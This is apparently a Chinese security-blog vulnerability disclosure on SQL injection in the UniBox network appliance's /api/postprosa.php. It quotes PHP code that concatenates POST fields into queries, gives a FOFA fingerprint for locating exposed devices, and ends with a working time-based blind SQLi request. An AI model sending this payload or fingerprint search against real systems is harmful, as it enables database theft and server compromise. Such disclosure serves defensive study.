Unibox postprosa.php sql注入漏洞


漏洞简介

unibox是一款网络管理设备,提供多种网络管理功能和服务。unibox的 /api/postprosa.php 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

body="UniBox" || body="UniBox" && body="id=\"index-body\""

漏洞分析

看下 api/postprosa.php 的关键业务实现部分

<?php

$prosa_response         = $_POST["EM_Response"];
$prosa_total                 = $_POST["EM_Total"];
$prosa_returnOrderID         = $_POST["EM_OrderID"];
$prosa_merchant         = $_POST["EM_Merchant"];
$prosa_store                 = $_POST["EM_Store"];
$prosa_term                 = $_POST["EM_Term"];
$prosa_refNum                 = $_POST["EM_RefNum"];
$prosa_auth                 = $_POST["EM_Auth"];
$prosa_returnDigest         = $_POST["EM_Digest"];

......

if( !empty( $prosa_returnDigest ) )
{
    if($prosa_response != "" )
    {
       switch($prosa_response) {
          case "approved" :
             $prosa_respcode = 1;
             $paymentstatus = 1;
             $proceed = 1;

             $query = "SELECT id,Prosa_OrderId FROM bill_prosa_transaction WHERE Prosa_OrderId = '$prosa_returnOrderID';";
             if($DEBUG_ON)   { debug_line($fp, "\nQuery for duplicate transaction:- ".$query."\n"); }
             $result = @mysql_db_query($mysql_database,$query,$dblink); 
             if($result &&  (@mysql_num_rows($result) > 0))
             {
                $row = @mysql_fetch_array($result);
                $prosa_returnOrderID = $row[ProsaOrderId];
                $duplicateTransaction = 1;
             }
                     $msg = "Transaction Successful";
             break;
          case "denied" :
             $prosa_respcode = 2;
                                $paymentstatus = 0;
                                $msg = "Error: Transaction Denied.";
                                break;

          case "Duplicated transaction" :
             $prosa_respcode = 2;
                                $paymentstatus = 0;
                                $msg = "Error: Duplicate Transaction.";
                                break;

          case "Incorrect information is provided." : //Incorrect information is provided
             $prosa_respcode = 2;
             $paymentstatus = 0;
             $msg = "Error: Incorrect Information is provided.";
             break;

       }  

// 示例1:SELECT 查询
$query = "SELECT id,Prosa_OrderId FROM bill_prosa_transaction WHERE Prosa_OrderId = '$prosa_returnOrderID';";
$result = @mysql_db_query($mysql_database,$query,$dblink);

// 示例2:INSERT 查询
$query = "INSERT INTO bill_prosa_transaction ... VALUES ... '$prosa_merchant', '$prosa_store', ...);";
$result = @mysql_db_query($mysql_database,$query,$dblink);

// 未过滤的用户输入
$prosa_returnOrderID = $_POST["EM_OrderID"];
$prosa_merchant      = $_POST["EM_Merchant"];
$prosa_store         = $_POST["EM_Store"];
// 直接拼接至 SQL 查询(注入点)
$query = "SELECT id,Prosa_OrderId FROM bill_prosa_transaction WHERE Prosa_OrderId = '$prosa_returnOrderID';";
$result = @mysql_db_query($mysql_database,$query,$dblink);
// 其他注入点(INSERT 操作)
$query = "INSERT INTO bill_prosa_transaction ... VALUES ... '$prosa_merchant', '$prosa_store', ...);";
$result = @mysql_db_query($mysql_database,$query,$dblink);

用户输入的多个参数(如 EM_OrderID、EM_Merchant 等)未经任何过滤直接拼接到SQL查询中,导致攻击者可执行任意SQL命令。

漏洞复现

POST /api/postprosa.php HTTP/1.1
Host: unibox.mrxn.net
Content-Type: application/x-www-form-urlencoded

EM_Digest=11&EM_Response=approved&EM_OrderID=1' AND (SELECT 1337 FROM (SELECT(SLEEP(2)))xasd)-- -

成功延时 6 秒(执行三次)


手机扫码阅读

宏景人力资源管理系统 HrpService 多处XXE漏洞

用友NC deleteEvent SQL注入漏洞

评 论